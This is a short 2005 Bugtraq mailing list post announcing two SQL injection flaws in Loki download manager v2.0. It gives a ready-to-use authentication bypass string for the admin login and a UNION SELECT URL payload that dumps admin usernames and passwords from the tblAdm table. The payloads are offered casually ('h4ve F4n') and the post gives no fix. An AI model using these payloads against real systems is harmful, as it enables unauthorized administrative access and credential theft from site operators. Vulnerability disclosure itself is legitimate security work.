[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    2 SQL injection in Loki download manager v2.0
From:       hack_912 () hotmail ! com
Date:       2005-06-08 16:25:37
Message-ID: 20050608162537.31686.qmail () securityfocus ! com
[Download RAW message or body]

hi all

tow SQL injection in Loki download manager

1. in http://localhost/adm/default.asp

user: anyuser
pass: 'or''='

2. in http://localhost/downmancv/catinfo.asp?cat=' union select \
null,null,user,null,null,null,null,null,pass,null,null,null,null,null FROM tblAdm '

and u will have user and pass h4ve F4n

Salmanooh

hack_912@hotmail.com


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic